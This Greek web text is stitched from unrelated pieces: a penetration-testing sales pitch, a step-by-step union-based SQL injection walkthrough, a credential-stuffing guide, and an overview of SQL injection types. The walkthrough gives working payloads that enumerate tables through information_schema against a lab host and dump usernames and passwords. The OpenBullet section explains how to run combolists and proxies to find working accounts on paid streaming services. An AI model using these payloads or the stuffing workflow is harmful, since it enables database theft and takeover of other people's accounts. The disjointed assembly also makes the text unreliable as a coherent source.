Οι δοκιμές αυτές είναι απαραίτητες για τη διασφάλιση των επιχειρησιακών δεδομένων και των δεδομένων των πελατών, τη διασφάλιση της ασφάλειας των χρηματοοικονομικών συναλλαγών και την πρόληψη πιθανών τρωτών σημείων ασφαλείας.
Οι δοκιμές ασφαλείας που πραγματοποιούνται αξιολογούν την ασφάλεια δικτύου, τη φυσική ασφάλεια, την ασφάλεια εφαρμογών και άλλες πτυχές των συσκευών PoS.
Οι δοκιμές αυτές βοηθούν στον εντοπισμό πιθανών απειλών και παρέχουν την ευκαιρία για έγκαιρη παρέμβαση. Επιπλέον, οι τακτικές δοκιμές ασφαλείας συμβάλλουν στην ενίσχυση των μέτρων ασφαλείας για την άμυνα έναντι των τρεχουσών απειλών και μεθόδων επίθεσης.
Θα ήμουν ευτυχής να σας βοηθήσω με δοκιμές διείσδυσης για να επιτύχετε τη συμμόρφωση με το PCI DSS και να ενισχύσετε την ασφάλεια της επιχείρησής σας.
Εντοπίζοντας αθέατες απειλές, μπορώ να σας βοηθήσω να προστατεύσετε καλύτερα ευαίσθητα δεδομένα, όπως πληροφορίες καρτών πληρωμής και στοιχεία πελατών.
Ενισχύοντας την ασφάλεια της επιχείρησής σας, μπορούμε να δημιουργήσουμε μια ισχυρότερη άμυνα απέναντι στις επιθέσεις στον κυβερνοχώρο. Μπορώ να σας βοηθήσω να κερδίσετε την εμπιστοσύνη των πελατών και να διασφαλίσετε τη συμμόρφωση με τους κανονισμούς.
Μη διστάσετε να επικοινωνήσετε μαζί μας σήμερα για να μάθετε περισσότερα και να ανακαλύψετε πώς μπορώ να σας βοηθήσω να μεγιστοποιήσετε την ασφάλεια της επιχείρησής σας. Θυμηθείτε, είμαι εδώ για να αποκαλύψω αυτό που μπορεί να μην είναι άμεσα ορατό.
Το Union Based Injection δεν είναι κάτι δύσκολο σε σχέση με Blind SQL Injection , Time-based Blind SQLi etc.
Αρχικά να πούμε με δύο λόγια τι είναι το SQL Injection.
Η επίθεση SQL Injection(SQLi) μας επιτρέπει να κάνουμε “injection” SQL Queries μέσω του URL και να πάρουμε πρόσβαση σε πληροφορίες όπως : usernames , passwords , τηλέφωνα , credit card details , ονόματα , επίθετα etc. Τώρα το Vulnerable URL μας είναι το παρακάτω :
http://192.168.1.26/cat.php?id=1
Τώρα θα έρθει κι θα πει κάποιος πως ξέρουμε ότι αυτό είναι vulnerable σε SQLi ? Μετά το cat.php?id=1 μπορούμε να προσθέσουμε τα παρακάτω :
http://192.168.1.26/cat.php?id=1' http://192.168.1.26/cat.php?id=1" http://192.168.1.26/cat.php?id=1' or '1'='1 http://192.168.1.26/cat.php?id=1' and '1'='1 Τώρα άμα πήραμε ας απάντηση κάποιο από τα παρακάτω μηνύματα σημαίνει ότι είναι vulnerable σε SQLi :
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
Oracle Error : ORA-00933: SQL command not properly ended
PostgreSQL Error : PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1 or Query failed: ERROR: syntax error at or near “‘” at character 12 in /www/site/site.php on line 560.
Κάτι ακόμα που θα χρειαστούμε είναι τα διάφορα comments για το SQLi :
Linux : —
Windows : –+
Hash : #
SQL Comment : –+-
Null Byte : ;%00
Αφού είπαμε κάποια βασικά πράγματα ας ξεκινήσουμε το πρώτο πράγματα που πρέπει να κάνουμε είναι να βρούμε τον αριθμώ των columns κάτω από το query. Θα χρησιμοποιήσουμε το order by [number] :
http://192.168.1.26/cat.php?id=1 order by 1-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 2-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 3-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 4-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 5-- | Error
Όταν τρέξαμε το order by 5– πήραμε error “Unknown column ‘5’ in ‘order clause'” οπότε ο αριθμός τον column είναι 4 επειδή πήραμε error στο 5. Τώρα θα δείξουμε μερικά functions που θα μας βοηθήσουμε να πάρουμε πληροφορίες για τον στόχο μας.
@@hostname -> θα μας δώσει το hostname. @@version -> θας μας δώσει την version του DB. database() -> θα μας δώσει την συγκεκριμένη DB. schema() -> θα μας δώσει την συγκεκριμένη DB. user() -> θα μας δώσει τον χρήστη.
Υπάρχουν κι άλλα μπορείτε να ψάξετε στο google. Πάμε τώρα να χρησιμοποιήσουμε το UNION function και να πάρουμε δοκιμάσουμε μερικά functions εφόσον ο αριθμός των columns είναι 4 :
http://192.168.1.26/cat.php?id=1 union all select 1,2,3,4-- Τώρα ας χρησιμοποιήσουμε ένα function για να δούμε άμα λειτουργεί παράδειγμα το database() οπότε τώρα :
http://192.168.1.26/cat.php?id=1 union all select 1,database(),3,4-- Και πήραμε : photoblog ας απάντηση. Τώρα ας συνεχίσουμε και να πάρουμε πληροφορίες από την βάση δεδομένων, ας πάρουμε όλα τα tables από την βάση δεδομένων :
http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables-- Τώρα άμα τα αποτελέσματα είναι πολλά μπορούνε να χρησιμοποιήσουμε το limit() function :
#Θα πάρουμε μόνο το πρώτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,1--
#Θα πάρουμε μόνο το δεύτερο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,2--
#Θα πάρουμε μόνο το τρίτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,3-- Τώρα θα πάρουμε τα columns names κάτω από ένα table το table μας τώρα είναι το users όπου θα περιέχει το username,password :
http://192.168.1.26/cat.php?id=1 union all select 1,column_name,3,4 from information_schema.columns where table_name='users'-- Και τέλος το καλύτερο μέρος οπού θα πάρουμε τα δεδομένα από τα columns που είναι : username , password :
http://192.168.1.26/cat.php?id=1 union all select 1,concat(login,password),3,4 from users-- Δεν ήταν κάτι το δύσκολο δεν είχαμε κανένα WAF μπροστά μας.. αυτό ήταν.
Το OpenBullet ειναι ενα προγραμα, οπου μας βοηθεια να βρουμε λογαριασμους, για υπηρεσιες με συνδρομη που παρεχου βιντεο, τραγουδια και ουτω καθεξης.
θα χρειαστουμε 1 config 1 λιστα combolist με email password και μια λιστα με proxies
Αρχικα αφου ανοιξουμε το OpenBullet παταμε πανω αριστερα +New, οπου θα εμφανιστει ενα τετραγωνο κουτι.
Μετα παταμε πανω στο κουτι, παμε κατω αριστερα και παταμε Select CFG, εμφανίζεται ενα δευτερο παραθυρο, οπου και διαλεγουμε το config μας με διπλο κλικ και το φορτωνουμε.
Next step ειναι να βαλουμε την λιστα/combo list, ακριβως κατω δεξια λεει Select list παταμε πανω του και μετα στο στο φακελακι κατω δεξια και βρισκουμε την combo list μας.
τελος μενει να βαλουμε τα proxies οπου θα κανουν και ολη την δουλεια, παμε πανω αριστερα εκει που λεει proxies, δεξια τωρα import και παλι στο φακελακι και βρισκουμε τα proxies.
Αφου ολα πηγαν μια χαρα, ημαστε ετοιμη να ξεκινήσουμε, παταμε εκει που λεει Runner αριστερα απο εκει που λεει proxies, και παταμε start ωστε να βρουμε λογαριασμους.
Στο πανελ δεξια θα εμφανιστούν η λογαριασμοι οπου μας δουλευουν, και κατω δεξια ποσα δοκιμαστηκαν.
**Η SQL injection μπορεί να χωριστή σε 3 κατηγορίες**
INBAND:
Τα δεδομένα εξάγονται χρησιμοποιώντας το ίδιο κανάλι με αυτό που χρησιμοποιείτε για το injection στην SQL. Αυτός είναι ο πιο απλός τύπος επιθέσεις SQL όπου τα δεδομέναπαρουσιάζονται απευθείας στην ιστοσελίδα.
OUT_OF_BAND:
Τα δεδομένα εξάγονται χρησιμοποιώντας διαφορετικό κανάλι (π.χ κάποιο email) δηλαδή τα δεδομένα από το injection στέλνονται σε ένα email που έχει προκαθοριστεί.
INFERENTIAL:
Δεν υπάρχει πραγματική μεταφορά δεδομένων αλλα ο επιτιθέμενος είναι σε θέσει να ανακατασκευάσει τις πληροφορίες με την αποστολή συγκεκριμένου αιτήματος προς την βάση δεδομένων και παρατηρώντας την “συμπεριφορά” αντίδραση του website.
**ΤΥΠΟΙ SQL INJECTION**
ERROR-BASED: Ρωτάμε την Database κάτι που θα προκαλέσει κάποιο error
UNION-BASED:Το SQL union χρησιμοποιείτε για να συνδυάσει τα αποτελέσματα δυο η περισσοτέρων SELECT SQL σε ένα και μονο αποτέλεσμα
#παράδειγμα: http://example.com/page.asp?id=1UNION SELECT ALL 1,2,3,4--
http://example.com/page.asp?id=1UNION SELECT ALL 1,USER,3,4–
BLIND-BASED:Κάνουμε στην Database μια true/false ερώτηση και περιμένουμε εάν θα πάρουμε θετική απαντήσει, δηλαδή εάν θα εμφανιστεί το αποτέλεσμα που ρωτήσαμε, η αλλιώςχρησιμοποιώντας τον χρόνο ως μια παράμετρο
Υπάρχουν δυο τύποι injection που βασίζονται στο εάν ο τύπος του ευπαθές site είναι βασισμένο σε Integer η σε String. Στην περίπτωση του Integer για το injection δεν χρειαζόμαστε αυτό που λέμε single quote(‘)
Στην άλλη περίπτωση όμως του String τότε το single quote(‘) είναι απαραίτητο